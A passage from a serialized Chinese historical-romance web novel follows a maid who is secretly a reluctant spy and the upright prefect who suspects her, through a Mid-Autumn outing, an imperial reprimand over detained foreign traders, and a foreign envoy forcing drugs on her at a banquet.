食过月饼,匆匆打扫,温玉又跟着郎君认了几个字后,已是傍晚。
“郎君,我们现在可以上街玩了吗?”
坐在小凳上的温玉期待道,她的心思今日全在出去玩上,练起字来比往常的速度快了一倍还不止。
张清时望了一眼窗外,黄昏的余晖已悄悄染上了窗台,似也在期待屋内的人一同往外奔向黄昏。
张清时放下书卷应允道:“可以。”
“好诶!”
温玉激动地从地上蹦跶起来,后又觉得不妥,欠身行礼道:“郎君,可否等我换上一件衣裳后再出发?”
张清时:“嗯。”
得到应允后,温玉就匆匆地跑去小破屋,再换上今日挑好的那些行头。
身穿白裳,头戴白色帷帽,温玉穿好后就迫不及待地去池边照一番。
水面波光粼粼,身上衣决飘飘,似入出尘的白色仙子。
温玉心满意足地继续前进,去找张郎君。
郎君今日穿的是私服,银冠束发,水色袍衫,竹边花纹,身材修长,体态端正,素净高雅。
他站在台阶下,看温玉一袭白衣跑来,微微有些疑惑:“为何要将面容挡住?”
“因为……”温玉还以为郎君会怪罪她偷穿,“因为温玉第一次上街,害怕外人眼光。”
“这……也行。”
人之常情,张清时不再过多追究,便领这温玉一起出了府门,来到了青州最繁华的一条街——来福街。
现是中秋,街上热闹非凡,不仅游人多,卖的稀奇玩意也多。
温玉随紧挨着张清时身后走,但一直侧头在其他摊位上流连忘返。
带帷帽就是很好,她可以肆无忌惮痴痴地看着这些她未曾见过的好东西。
“温玉,你要是有喜欢什么的,都可以和我说,我可以赠予你。”
张清时看着一直偏头的少女,也开始谨慎地扫视周围路过的人群。
“我不用郎君给我买。”温玉忽而兴致冲冲地指着一处卖灯笼的小摊那,“我给郎君买个灯笼。”
张清时放眼望去,那小摊的架子上摆满了一叠叠竹制的灯笼,有圆灯样式的,有兔子样式的,有鲤鱼样式的,还有……
数不胜数,迷人眼。
视线从缭乱的光影上移至商贩,是个鹤发老翁,眼神垂暮、身躯佝偻、皮肤黝黑、手茧横生,这会是……她的接头人吗?
张清时目光有收了回来,留在温玉的面纱上,想一探究竟。
“嗯,我们去吧。”
“好的,郎君。”
温玉言笑晏晏,提起裙摆就朝那小摊去了。
“姑娘,要些什么?”鹤发老者温和地问。
温玉专注于那乖巧的兔子灯,小心捧起举着张清时的眼前:“郎君,这个你喜欢吗?”
“还行。”张清时答的有些敷衍,视线还是紧投在老者的身上。
“那郎君我给你买。”温玉从袖兜里掏出几个铜板,双手捧给鹤发老翁,这是她上次救郎君,徐管家补贴的赏钱。
“好好好。”
老翁刚要伸手接过,一只莫名伸出的手就将温玉给大力地推开了。
“去去去!”
陈子诩扇着扇子走过来,一脸不耐烦道:“别挡着小爷的路!”
温玉一见是曾经的主子,忙要欠身行礼时,张清时拦住了她:“是你撞到了人,你该道歉。”
旁边也是陪同他的仆从仗势道:“你算什么东西,敢跟我们公子这么说话?”
“无论是谁,我想都有与这位公子平和谈话的权利吧。”张清时认真地同眼前两人讲道理,“你们撞了人,出语还不善,有失公德。”
“公德?”陈子诩嬉弄道,“你知道我是谁吗?青州富商陈家,你跟我讲公德?老子就是公德!”
陈子诩向来都是这么泼皮无赖似的纨绔,要是让温柔正直的张郎君同他这般置气,可真就划不来。
于是温玉伸出小手扯了扯张清时的衣袖小声道:“郎君,要不我们就算了吧。”
张清时摇摇头,示意温玉无妨。
可话到了陈子诩耳里,他就一副色眯眯的样子打量着温玉,苗条身材,温柔细语,还遮面,令他不由地想将面纱掀开,看看究竟是什么个可人儿。
温玉也看见了,大半个身子都默默隐匿在张清时的身后。
陈子诩轻啧一声,手指摩挲下巴,玩味道:“我给小娘子道歉也可以,不过——”
说着说着他手还要伸过来碰温玉:“得私下好好道歉。”
接着,手还没伸直,手腕一下就被张清时单手抓住,然后一个翻转,他就开始嗷嗷
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叫:
“啊啊啊!快放开我!”
“你敢和陈家做对,你不要命了!”
张清时手再狠狠转了一下:“光天化日之下,公然调戏良家妇女,我看是你不要命了吧!”
“疼疼疼!”
陈子诩疼得眼泪都溢出来了,还要朝身后随从使眼色。
仆从们也应声挥拳而上,张清时丝毫不慌,见仆从上前,敏捷地侧身躲过,再一个手刀,直接将人敲晕。
再来一个,就一个前踢。
身手矫健,其他仆从都不敢再动手了。
随后,张清时将陈子诩反手擒拿住,正义凛然道:“走!跟我去见官。”
听说要见官,陈子诩要重振了威风:“好啊,见官就见官!看看到底是谁——”
“啪!”
四周的声音忽然暂停在这一刻。
周围所有人的目光都停在刚挥手打陈子诩一巴掌的奇女子身上。
温玉也有些紧张:“刚刚这位公子出言不逊,奴……小女也已教训,还望郎君不要再计较。”
闻言,张清时松开了手,眼中情绪复杂。
被松开的陈子诩则一溜烟地从地上爬起来,然后被仆从们架着往前走,但仍不忘放狠话道:“你们两个都给我等着,老子记住你们了。”
“温玉。”那人走后,张清时才出声问,“你为何要出手打那位男子?”
“温玉主要是不想给郎君添麻烦。”温玉低下头解释,“那种泼皮无赖,横行霸道惯了,恐怕郎君治了他们,还要惹一生骚。”
其实……她是不想让陈子诩被送官,送官,陈禹必定捞他,一旦知道是张郎君做的,指不定会想办法来逼迫自己。
逼迫自己对郎君做不好的事情。
“温玉。”张清时语气凝重,“我身为官,职责就是替百姓除害,不能说因为他泼皮,他无奈,就害怕和退缩。若是不追究,后患定无穷。”
“嗯……”,温玉抿了抿唇,“温玉下次再也不会了。”
她懂他的抱负,懂他的想法,但是无奈不可说之事太多了,她无法对他坦白,无法顺从他的意愿。
一瞬间,低沉的气压如同黑夜笼罩住两人。
密不透风,又喘不过气。
好在老翁的声音打断了两人对峙的气氛:“小娘子,这兔灯刚才争执中坏了,要不再换一个。”
“啊?”
温玉抬眼看过去,刚刚还栩栩如生可爱的小兔子因她手滑掉落地上,又被人踩了几脚,已是皱皱巴巴、破烂不堪。
温玉弯腰拾起,手指细细触摸着摧折的骨架,心头涌上莫般难言的情绪,在无人看见的帷帽里,眼眶又蓄满了泪水。
人生尽是摧折,小兔子也难得幸免。
“掌柜,再换两盏花灯吧。”张清时突然出声道。
继而,两盏似荷花样式的花灯明晃晃地放在温玉的眼前,企图赶走那些阴霾。
“我喜欢花,换成它,我也很喜欢。”
“还有,花灯可以祈愿,我们可以一同替逝去的兔子祈愿一个美好的归处”
张清时轻声安抚着温玉的情绪,她眼底也多了一抹憧憬和期待。
温玉小心翼翼地接过一盏,抬头问:“那郎君要陪我一起放花灯吗?”
“嗯,可以。”张清时应道,然后拿过温玉手中残损的兔子灯,“那我们也将兔子灯埋在树下,来年依旧迎花开。”
“好。”
面纱下,清冷的少女又恢复了雀跃,和温柔的青年一起提着花灯来到湖边。
临着岸边,放下荷花灯,再拨动水面,望着花灯远航。
随后闭上眼,虔诚地许愿。
15. 中秋节3
“温玉,你许的什么愿?”张清时突然问。
“愿望是——”温玉微微一笑,“和郎君明年也能一起过中秋。”
“……”
“那郎君许的是什么愿?”
张清时不假思索道:“愿国泰民安。”
“郎君理想真好。”
温玉由衷道,她很普通,许的愿望也很普通:
一愿母亲身体安康,早日恢复;
二愿重获自由,在天地间安心立命;
三愿世间大家都有能更好地归处。
花灯远去,一艘船撑了过来:
“郎君,小娘子,中秋佳节要不要一同乘船赏月呀。”
站在船上,一个船夫使劲呦呵着揽客。
“不……不用。”
温玉没有那么多钱,摆手拒绝道。
但张清时眼神淡淡地一扫后道:“可以。”
“郎君,我没钱啦。”
温玉小声说,本来和主家一起过节本就是荣幸,还要单独乘船,温玉自个儿都觉得高攀了。
张清时仿佛听不进去的样子,一只脚就已踏上了船板,眼神直勾勾地盯着船夫:“我们坐。”
船夫有些被盯得不好意思,挠挠头道:“郎君,得先付十文钱。”
张清时毫不犹豫地掏钱付下,转眼看向温玉。
皎皎月光,她的白衣似月色,风一吹,银光烁烁。
郎君已上船,温玉不好拒绝,提起裙摆也踩了下去。
船只浮在水面,脚一重踩,水一沉下,船一陷落,温玉没有经验,重心一下不稳,她不由地朝前倒去。
好在,张清时扶及时住了她的手臂。
忽而,湖上风起,风甚大,从中吹开了她的面纱。
面纱被风拨开,她清丽的脸庞和飞扬的发丝裹挟着一丝月光的余晖尽独显在张清时的眼中。
风一止,面纱回拢,思绪未回,她的容颜若隐若现在眼中。
“抱歉,郎君。”
温玉站住脚后撤了几步。
张清时思绪也渐渐回拢,抬头望了一眼月:“此时月亮挺美,我们坐会儿赏月吧。”
“嗯。”
温玉与他一同坐在船板上,船只很小,两人又挨得很近。
温玉又能问道郎君身上独有的书墨香,以及看到冷光下郎君的侧颜。
船夫见客人做好,慢悠悠地撑着小船,随着湖面上的花灯一起在湖中泛去。
*
船是从划一个来回的,张清时寂静地坐了半刻钟,也没发现两人有什么来往。
他怀疑身旁人的手段高明。
可一往旁边看去,透着面纱他又能想起那副天真烂漫的样子。
后院捉蝴蝶的她,第一次见到自己名字的她,做月饼她,买小兔子灯的她……
他都没有看出她的半点别有用心。
张清时紧紧按了一下太阳穴,天边月光还亮,路上行人依旧,等船停,他又提议道:“我们再去街上逛逛?”
“好啊。”
温玉欣喜应下,今日体验到许多是她从前年岁里从来没有过乐趣,她也想趁着夜色未全至,继续将乐趣延续下去。
于是,两人复在街上走着。
似乎是能感受到郎君的纵容,温玉也不怎么束手束脚,不再偏头看,而是直接跑到各个商铺小摊上逛。
比如说遇见香铺,温玉则会去闻一下各式各样的香,看看有没有郎君的这款香。
要是遇见卖稀奇古怪的商铺,温玉则会拿起一件玩意赏玩一番。
再或是遇见卖海货的商铺,温玉就会拿起一块海螺,亲耳倾听里面到底有没有海神的歌声。
……
温玉把以前未曾体验过的都亲自体验了。
直至走到街的尽头,兴趣才散了些。
“郎君,要不我们回去吧?”
闻言,张清时脚步顿住,望了四周,终而沉吟道:“好。”
两人从街尾复走到街头。
夜色全至,路上的大人少了很多,穿街跑巷的小孩却很多,手里提着小灯笼,拿着小月饼,嘻嘻哈哈地闹着。
接着一个持着糖葫芦树走了过来,大声呦呵着:“吃冰糖葫芦喽!吃冰糖葫芦喽!”
他卖的糖葫芦又圆又红,声音也喊得又大又亮,吸引了不少嬉戏的小孩围着他闹。
温玉的视线也对那红澄澄的冰糖葫芦流连忘返。
“想吃?”张清时有所察觉。
“不……不想。”温玉不想再麻烦张郎君了。
“无碍。”
张清时径直走过去,出手阔绰地买了好几根糖葫芦,然后孩童们又全围着他转,扯着他的衣摆,扯着他的衣袖。
他也不恼,俯下身,将糖葫芦都分发给他们。
驱走了玩闹的孩童们后,张清时手上已全然没有糖葫芦了。
两手空空,温玉心中有些失落。
忽而,他走过来,俯下身子,透过面纱看着温玉。
“温玉,我也给你变个戏法。”
他嘴角一扬,随即从袖兜里掏出一根红□□人的糖葫芦来。
他有给她单独留看一根。
“谢谢郎君。”
温玉心中雀跃,迫不及待地接过,但立马又犯了难。
撕开白色的糖纸,鲜红的山楂泛着金光,那是糖的颜色。
可温玉戴着帷帽,两片面纱挡在脸前,实在是不好下嘴。
张清时见她许久未动,便关心地问:“怎么了?”
见郎君问话,温玉即刻伸出小手掀开半边的面纱,露出一只又亮又大的眼睛,无辜地看向张郎君,又看了看糖葫芦一眼。
张清时顿时心领神会,伸手将她的两边面纱都给挽住。
面纱再次完全被掀开,温玉就这样迎上郎君如墨般清澈透亮的眸子。
许是有些不好意思,两人都默契地移开了视线。
温玉垂眸,吐了吐小舌,开始专攻她的糖葫芦。
糖葫芦又大又圆,小口一口咽不下,只能轻轻一咬。
可外面裹着的糖却是又脆又硬。
一咬,“咔嚓”一声,在整个街道,在两个人独处的寂静氛围中有些突兀。
突兀到两人的视线又悄然对上。
温玉脸颊也悄悄染上糖葫芦的颜色。
许是怕扰到郎君,然后温玉就当着郎君的面一口将整颗山楂都吞入口中。
腮帮子鼓鼓的,像是只会藏食的小松鼠。
饶是正气的张清时看到这番场景,也不由地轻笑一声。
于是,糖葫芦的颜色更深了。
温玉嘴里愤愤地咬着,忽而也想让郎君出这样的糗,便将糖葫芦送到他的嘴边,含糊不清道:“郎君,你也尝尝?”
张清时愣住,糖葫芦送得更往前了些,离他眼下只有短短的一段距离。
他垂下目光,晶莹的山楂散发着诱人的魅力,不仅是眼睛,鼻子、嘴巴也都被它所吸引,想向它靠近。
谁料,糖葫芦率先进攻,逼近城门。
终是忍不住诱惑,他学着她的模样,先咬住,再将一整颗吞入。
这下轮到温玉笑话他了:“哈哈哈,郎君好吃吗?”
少女笑得明艳,恰如人间四月桃花开。
“咳。”张清时有些被山楂碎卡住喉咙,轻咳了一声,然后别开脸,“我不太喜欢吃甜的。”
“噢~”
温玉意外深长地“噢”了一声,又咬了一口糖葫芦,酥酥脆脆的声音悦耳
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,却也惊动了鱼儿跃出水面。
*
今日中秋,月儿圆满,乐趣也颇满。
天色已入了黑,张清时便同温玉一起回了刺史府。
温玉回她的小破屋去歇息,而张清时并未有休憩之意,转头又来了书房。
推开门,打开窗,点燃烛火。
片刻后,一个人影从门口进来了。
张清时背对着烛火,手指有节奏地敲打着桌面:“事情办的怎么样了?”
“果然如郎君所料。”烛火照亮了凌侍卫的整张脸,“我带手下跟踪着每位离府的丫鬟,发现有一人行踪诡异,直接去敲了赵县令的府门,再也没出来过。”
张清时手指顿住,轻声道:“这府里果然不止有一个卧底。”
“可是……”凌侍卫说出他的怀疑,“可这许欢难有接近你的机会,她去赵县令那会告何样的秘密呢?”
张清时眼睛闭上,太阳穴微跳:“很有可能,温玉和她是一伙的,都替赵县令卖命。”
“但两人看起来一点也不对付。”凌侍卫不由地回想起那日两个人在后院剑拔弩张的气势,很难相信是一伙人,“那这样,她们两个为什么不一起去,要让许欢一个人去?”
张清时伸手按了按太阳穴:“我也不知。”
不知是两虎相争,有人得利,有人落。
还是温玉足够聪明,借他的手去推另一个人入深渊。
“那郎君,温玉你这边试探地怎么样了?”凌侍卫顺势提到了温玉。
忽而,张清时脑海里闪过许多画面,白白胖胖的兔子灯、波光粼粼的面纱、酸甜可口的糖葫芦。
众多画面,如心思缜密的他也找不到一处异样。
按着太阳的手移步至额头,他皱着眉:“没。无论传递的是何信息,先派一群人马声势浩大的围着俞元县,海边派暗探紧盯着!”
上次春药之毒之后,张清时便已知晓青州与外邦乌合国往来密甚,可能存在不法交易。
故前段时间一直派人盯着乌合的商队,果然就发现有一商队轻松避开海上官员检查,带着秘密货物走了后门。
然后大摇大摆地去往俞元县。
而正巧,他的人一跟进了俞元县,便跟丢了商队,还被人全给暗杀。
暗杀之事太过蹊跷,凌侍卫前脚才刚把人尸体带回,赵县令后脚就上了门。
且张口闭口就是谈俞元县周边动荡不安之事,说死了人,影响百姓安危。还嚷嚷着就要让更高其他人来查案。
其实为的就是借其他监察官之手,调查出死者全为张清时的手下,从而可以顺水推舟地昭告天下,张清时这个刺史和整个刺史府的人都是没有用之人,继而失了民心。
身为父母官,别的不重要,最重要的便是民心。
赢得百姓信任,赢得百姓敬重,才能维护整个青州,甚至是国家的长治久安。
所以,张清时偏不遂他的意,偏不中他的圈套,下一步明棋和暗棋。
明棋便是先假借查匪患之事派少部分人围查俞元县周边:
一来能虚张声势地恐吓俞元县的贪官奸商,让他们不敢轻举妄动,也不敢走秘密贸易之事;
二来还能摸查地形和明清。
暗棋则是继续盯着海边。
乌合商队和贪官的交易被控制之后,那乌合肯定会闲不住。
要么可能会是在其他地方闹出祸端,吸引注意力;要么可能就会是顶着风头,强行贸易。
等那个时候,张清时就能轻松收网,查清整个交易链,从而将他们全都打下马。
“那郎君,许欢回来后该怎么处置?”凌侍卫领命后问了最后一个问题。
在暗处的张清时目光如炬:“卧底,留一个就够了。”
16. 投诉
中秋节过后,告假外出的人都陆续回府,而刺史府的后院也恢复了往常的热闹。
新的早晨,浇花的浇花,施肥的施肥,除草的除草。
在大家正忙活时,雨燕则神秘兮兮地从怀里掏出一个包裹来,朝众人大声喊道:“大家过来一下,快来尝尝我阿爹阿娘做的桂花糕。”
闻声,大家都一一停下手里的工作,朝雨燕那走去。
“早上就闻到你身上桂花味,还以为你是用了什么香脂。”阿莫两手搓搓很是期待。
“我哪有那个闲钱。”雨燕自嘲道,随即慢慢打开缠着桂花糕的布条,“跟你们说,我今日很困难地才将这桂花糕带出来呢!”
温玉听到关键词:“俞元县发生什么事了吗?”
“不知道。”雨燕摇摇头“一大早就有官兵守着城门,严查货物进出,我是怕那些官兵嘴馋偷我的桂花糕,就贴身放在怀里带了出来。”
“官兵还馋桂花糕?”阿莫惊讶,“官兵都这么有钱了还惦记一块桂花糕?”
“你是有所不知……”
“呀!我的桂花糕!”
雨燕忽而惊叫一声,本来还在听八卦的众人皆把目光投向桂花糕。
布条被解开,大家所期待的那香香甜甜的桂花糕此时正瘪瘪地躺在布条里,像死了一样。
看到这番场景,阿莫不由地说起了风凉话:“没想到这布条也馋。”
阿喜小声说:“应该还能吃,阿娘说不能浪费粮食。”
雨燕一个人崩溃:“可恶的官兵,好端端地守什么城门!”
温玉立刻安抚她的情绪道:“没事没事,只是被压坏了而已,还能吃。”
于是雨燕只能委屈巴巴地将软踏踏的桂花糕分给众人,大家也没有见怪,各拿一块吃了。
这桂花糕虽被压坏了,但香甜软糯的风味还在,众人吃着吃着,都露出一副意犹未尽的感觉。
而雨燕嚼着糕点,继续之前的话题:“俞元县从上到下没有一个官不馋的,大的官馋百姓口袋里那点钱,而小的官就只能馋百姓的柴米油盐!”
听之,众人皆鄙弃。
“咦~这些官真坏!”
“就是就是!”
聊起这个,阿莫看向四周:“诶,雨燕,许欢和你一个县的怎么没回来?该不会被当官的扣留了吧!”
“许欢?”雨燕瘪瘪嘴,“谁知道呢,她也不干活,回来不回来都一个样!”
“也是也是。”
其他人附和道,许欢整日张狂,不把人放在眼里。大家的话题只在她身上做片刻停留后,又开始聊起其他事来,却丝毫没注意到温玉已经退出她们的话题中,陷入了沉思。
她在想,俞元县如今这么大闹场,到底是赵县令的手笔还是张郎君的?许欢是成功后留在县令府中还是……
她猜测不出,又看了一眼远处的窗台,那里是郎君书房的窗台,或许那里能有她想要的信息。
一上午忙活和食完午饭过后,丫鬟们都回了西院的偏房歇息,温玉则轻车熟路地再次来到郎君书房。
反正她也是要来给郎君研磨的不会被人怀疑。
她站定在门边,轻叩几下门板,可门内却并没有任何反应。
这是去哪里了?
温玉疑虑地将耳朵贴在门上,也没有声音,只有风呼呼地吹动书纸的声音。
温玉有些懊恼,开始看看有什么别的办法进去。
眼睛一瞥,瞥见了门板旁边的窗户。
窗台一般是不会锁死的,要不爬窗进去看看?
温玉正专心琢磨着怎么爬窗时,一道声音却忽然地叫定了她。
她一转身,就立马对上一道极具摄震力的眼神,震得她心虚。
是徐管家,不知道他何时就站在了她的身后。
他眼睛微眯起,上下打量着温玉,随即缓步走上前:“这几日郎君都不在,要习字的话去找夫子。”
“是……管家”
温玉紧阖着唇应下,所幸她还没开始行动,没让徐管家抓住把柄。
“对了。”徐管家像想起什么事来,“许欢以后都不会出现在刺史府了。”
温玉听得心中一咯噔:“为何?”
徐管家冷笑一声,凑近低声道:“听说她遇见了好主家,把她给从郎君手里买了去。温玉你跟她这么熟,知道是谁买的吗?”
“额……”温玉睫毛微颤,心中紧张道,“温玉不知道,温玉中秋节一直在陪着郎君呢。”
徐管家看着她的神情,继续道:“你看看许欢,自个寻了好出路,怎么不带着你们一起去呢?”
“管家,你误会了,我们和许欢的关系并不是很好。”温玉抬眼看了一下徐管家逼人的眼色后立马解释道,“而且,温玉心中自始至终只信奉郎君这一个主家,对别的主家是一概不知、一概不论的。”
徐管家又笑了一声,除了冷,还有几分嘲讽的意味:“温玉,你最好不是一心事二主!”
“管家,温玉不会,温玉会一直听郎君的话。”温玉低着头乖顺地应道。
“这样最好!”
随后徐管家甩了甩衣袖,便踩着台阶走了。
而看见徐管家远去后,温玉才不由地松了一口气。
没想到此事过后,看来许欢终究是赚了,彻底离开了刺史府。
不过她赚了也好,至少温玉也摆脱了她这个累赘。
但看徐管家那样子,好像很讨厌二心的奴仆,可如果被他们知道自己也是卧底,会不会不是只被赶出府那么简单?
温玉长叹口气,抬头看向天。
世上难违之事可真多。
*
这些天,郎君都不在府上,温玉找了几次都无果后,就再也没有去书房了,而是跟着夫子继续学字学词。
不知怎么地,不知道是不是有了郎君打下的基础,温玉第一次听夫子讲课也没有那么困了。
窗外也没有蝴蝶飞了。
生活恰似一汪平静的湖,静静地流逝。
而某日,则像一颗石头砸进了湖面,激起千层浪,打破了这段平静。
是宫里的人来了。
一直活在传说中,温玉从未见过的阶级。
宫里来人,全府人无论是谁都必须出来,跪拜接见。
温玉便同她一样的仆从们跪在院落里,还是最后方。
而跪在她们前面的,则是数几日都未见的张郎君。
温玉只能瞧见他顺滑的发丝和挺拔的背影。
“陛下口谕!”
似女声又似男生的声音喊起,众人皆低头,屏息认真听他讲话。
温玉不知道为什么要这么做,也不知道是谁在讲话,学着他人一样紧紧把头埋在地上,什么也不敢看,大气也不敢喘。
仿佛那些人天生带着不容人反抗的威压。
“臣听旨!”
郎君的声音响起,悦耳又如春风般舒服,微微吹散了这片低沉的空气。
又娘又男的声音继续发出:“近日,陛下有收到乌合诉状,投诉青州刺史对外境交易苛加干扰,严重侵害两邦之谊,特责青州刺史放走所有牢狱中的乌合人,并向乌合商队郑重道歉。”
“青州刺史张清时可有异议?”
张清时轻咳一声,郑重道:“
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臣等没有异议,谨遵陛下尊旨!”
张郎君回答的态度很是肯定与坚决,宫里来的人也没有继续发问。
声音稍稍的寂灭后,浩浩荡荡踏足刺史府的人又离开了。
在温玉抬头后,甚至连半点影子都看不见。
但又看见了张郎君的身影,一袭红袍,跪在地上依旧气宇轩昂。
可刚听宫里人说,他好像抓了许多乌合人。
乌合人,温玉在陈府有见过的,各个卷发蓝眸,走路潇洒,人也潇洒,嗜酒,有时候他们在陈府中喝醉后就会赏一些铜板给过路的奴仆。
那时候,温玉还想着如果有朝一日被乌合人捡去做丫鬟也不错,比陈府好。
正看着,张清时忽然也往温玉这个方向看来。
温玉眼神立马闪躲,低着头和其他人一起散开。
不知道怎么地,她现在见到张郎君都有些不好意思。
像是那日被徐管家戳中的“一心事二主”后的窘态和不好意思。
可情绪这件事还没想明白,徐管家又招呼她们开始摆晚宴,说晚上要招待乌合商队,以表郎君的歉意。
所以她们又开始帮忙去小厨房备菜,在厨房择菜时,却看见其他仆从扛着一大缸一大缸的酒坛往前院走去。
“哇!他们这是得要喝多少酒啊?”雨燕撅着豆角,满眼震惊道。
阿喜也有些担忧:“阿娘说喝酒喝多了会伤身,还会死人的。”
阿莫立刻反驳道:“在我们村里,只有不会喝的人,就没有喝死的人。”
温玉摇摇头:“我们还是同嬷嬷们备些醒酒汤吧。”
虽不知道郎君酒量如何,但这么多酒,喝了肯定伤身。
于是等备好了菜,嬷嬷们在掌勺做饭时,温玉就想着借锅熬煮一下醒酒汤,但却被于嬷嬷严词拒绝:
“管家说了,今夜不用备醒酒汤,还说让你们这些个丫鬟,做完了事,就赶紧回西院去!”
温玉顿住,难道是郎君还对上次有所介怀?
见温玉还不走,于嬷嬷又在催促道:“走走走,你们没事就别在这碍事,我们这还有一堆活要干呢!”
“走就走,我们还不愿意帮忙呢!”雨燕受不得一点委屈,拉上温玉,“温玉姐姐,我们走!”
随后四人便主动出了小厨房。
天色未晚,四人走在回西院的小路上,雨燕突然提议道:“现在还早,要不我们一起玩叶子戏吧,好久没玩了。”
漫漫长夜全拿来睡觉的确是很可惜,所以其他两人都点头同意了。
但温玉没说话。
雨燕便摇着温玉的胳膊央求道:“三缺一,温玉姐姐,我们就一起玩吧!”
温玉摇摇头,叶子戏她不会玩也没玩过,而且她的床铺还在后院,如果玩到后半夜再回去的话,岂不是还会撞见乌合人,给郎君引不必要的麻烦。
所以她还是愿意在小破屋呆着,对着小破窗数星星也行。
雨燕见势只是表示出微微的不舍后也没有强拉着温玉,然后大家各自散去。
温玉和她们是分道扬镳的。
因为像她们这些丫鬟们、嬷嬷们和仆从们住的地方以及小厨房的位置都在西院,而郎君、徐管家、凌侍卫他们的住房则都在东院。
后院便是芙蓉树和书房的位置,因为是种树,所以不住人,留了许多间空屋,其中一间便是温玉住的小破屋。
温玉要是回去小破屋就得路过西院和前院的一个分叉路口。但看情况现在刚开宴,大家应该都坐在前院,应该不会注意到温玉的存在。
温玉是这么想的,便心大地在路上走着。
17. 下药2
秋季的天总是黑的快,现在只有月亮和星星能照亮温玉前方的路。
行至交叉路口时,温玉还是往前院的方向看了一眼,那里灯火通明,声音洪正,应该是宴席举办的最盛的时候。
好不容易郎君今日回来了,温玉也不能见着他,也不能送碗醒酒汤。
想想还有点空落落的感觉,刚好路上又遇到一颗碍眼的小石子。
温玉心不爽,一脚踢飞了它。
“哎哟!”
石头落下,一个男人痛苦的呻吟声响起。
温玉还以为是踢中了谁连忙低头道歉:“抱歉,我不是故意的。”
结果,脚步声却在身后响起。
温玉身形一滞,缓慢地转过头,却发现是一位卷发蓝眼,体格壮大的男子,他正迈着从容的步伐朝她走来,脸上还挂着玩味不明的笑容:
“我认得你!”
温玉眼底闪过一丝疑问,但也不想和眼前这外邦人扯上关系,低头否认道:“这位郎君,您说笑了。”
“我在陈府见过你。”陌生男子继续说,还从怀里掏出一块玉令牌来送至温玉的眼下,“陈禹说,要我来帮你。”
温玉抬眼一看,愕然。
这居然是陈府的令牌,拥有此令牌就可以随意进出陈府以及陈府名下所有的商铺。
温玉知道陈禹在与乌合做交易,但没想到陈禹为了给自己施加压迫,还专门找乌合人给自己传话。
既是一伙的,温玉也不能再假装什么都不知道了,便抬起头,直视那双碧蓝的眼睛:
那双眼睛像海一样梦幻,又似海一样深邃。
“你想怎么帮我?”
他凑近,声线磁性,像深海中的黑色漩涡,想吸引人不断地沉陷下去:
“我给你带来了两件物品。”
随即手中摊开了两个小药瓶的东西。
“一瓶是春药,一瓶是迷药,是我们那特产。”
“……”
温玉紧锁着眉头,怎么一天天的都是春药。
她不想接,退了几步:“郎君是否还有其他办法?”
“呵~这玩意很好的。”男子一边劝说,一边步步紧逼,接着伸出粗壮的手一把抓住温玉的手腕,将药瓶硬塞入她的手中。
“拿好!”男子身壮如山,力大如牛,将温玉的手紧紧攥住,一点都不给温玉弄掉的机会。
没有办法,温玉只能顺着他的意问:“主君想要我做什么?”
见她识相,乌合人嘴角微微扬起,伸手摸上温玉的脸庞:“最近,张刺史盯上我们乌合,我们需要你帮忙。”
“帮忙打探消息?”温玉心中微微松了口气,所幸只是打探消息和传话,并不是真要她做什么。
“陈禹说你很聪明又漂亮,果然。”
粗粝的手指重重拂过温玉的脸庞,想是在把玩什么精致的物件似的。
“要是张刺史不要你,我也可以收留你。”
“不用,我只听主君的话。”温玉掰开他粗糙的手指,“要是没什么事,我先走了。”
“等等!”
温玉身子还没往后退,直接就被那乌合人一只手给揽了过来。
她重重地跌落在他的怀里。
旋即,磁性的声音在她耳边响起:“这次我帮你,你也得好好帮我们。”
说完,他就猛地张开嘴,要咬向她的脖子。
像海里的恶鲨,张开血盆大口,要吃掉一条小小鱼。
温玉瞬间惊恐,赶忙伸手去推开。
力量悬殊,根本推不开他,他咬得还很重,温玉疼的嘴唇都发白。
本以为要死了。
忽而,在茫茫黑夜中,那道清风霁月般的声音穿破了黑暗:
“住手!”
下一秒,紧紧抱着温玉的乌合人就被踢翻在地,温玉顺势就跌落在熟悉的怀里。
清新的书香味,温玉猛然抬眼,张郎君紧张的神色就明晃晃地映入眼帘。
是张郎君!
他也会为一个丫鬟而紧张吗?
这种情绪温玉从未在那些高高在上的人眼里见过。
甚至一度觉得是幻觉,所以她干脆阖上了眼睛。
“温玉!”
眼前人焦急地呼喊着,冰凉的手指摸上脖子的伤口,这才刺激着温玉醒了过来。
不是幻觉!
温玉刚还像被吸血鬼吸食干净苍白的脸立刻恢复了点血色,语气虚弱道:
“郎君?”
“我送你回去。”张清时认为温玉受了重伤,直接将人给拦腰抱起。
“张刺史可是忘了什么事吗?”原被踢倒在地的乌合人站起身来突然威胁道。
今日宫里人传旨让张郎君好生招待乌合人的,可他现在却把人踹倒,还对人不闻不问。
这要是传出去,会不会是说张郎君违抗圣意,会不会杀头。
温玉心中生出隐隐地担忧,扯着张清时胸前的衣襟,小声道:“郎君,我没事,你好好去招待他们吧。”
张清时低头望了怀中人一眼,虽脸色已恢复,但脖子上的伤口却不容小觑。
都这样了,还说没事。
可温玉一直在央求,他只好将她放下嘱咐道:“去找徐管家拿药!”
“嗯嗯。”
温玉点点头要走,可那乌合人依然不想着放过。
他在身后吹着口哨:“张刺史,你的待客之道我们乌合很不满意啊,突然又想向陛下聊聊了。”
“你的伤我会请大夫给你看的。”张清时转身淡淡道。
“身伤容易治,但心伤不容易呀!”乌合人还特意指了指自己脖子上的抓痕,“我要那位小娘子陪我一起喝酒!”
“我陪你不行吗?”张清时将温玉推至身后,“我这不兴什么姑娘陪酒的道理,如果我一个人不够,我可以叫十个人来陪你。”
“不,我就要她!”乌合人继续蛮缠道。
温玉见张清时袖子底下的手都紧紧攥成拳了,她不想让他为难,鬼差神使般地伸手握住了他的拳头,轻声道:“郎君,我可以的。”
闻言,张清时不可置信地看了她一眼:“我不需要别人为我这样做。”
“没有,郎君,您帮了温玉,温玉也想帮你。”温玉的小手紧紧握着张清时的手,“有郎君在,我相信我不会受伤的。”
“……”
良久,那双握紧成拳的手松开了,张清时还是同意带着温玉一起返回宴席。
而那乌合人则站在后方高兴地又吹了几声口哨,像是海上战胜时吹响的号角声。
温玉知道,这就是乌合人所说的帮忙。
是乌合人看见张郎君站在他们身后时,才决定对她行不轨之事,以此想要来激发张郎君的怜惜之意。
但他又不想只止于此,特地点名叫温玉过来陪酒,为的就是好让她在酒里下药,强行让她把事办成。
如若温玉不从,她还不知道乌合人是会如何向陈禹一通告状,像向当今皇上告状一样,治她的罪。
所以她只好假装一个识大体的人,陪张郎君回宴席。
回到宴席上,前院内各个桌子上摆了好几坛美酒,乌合人嗜酒,早就各个都喝的七仰八叉。
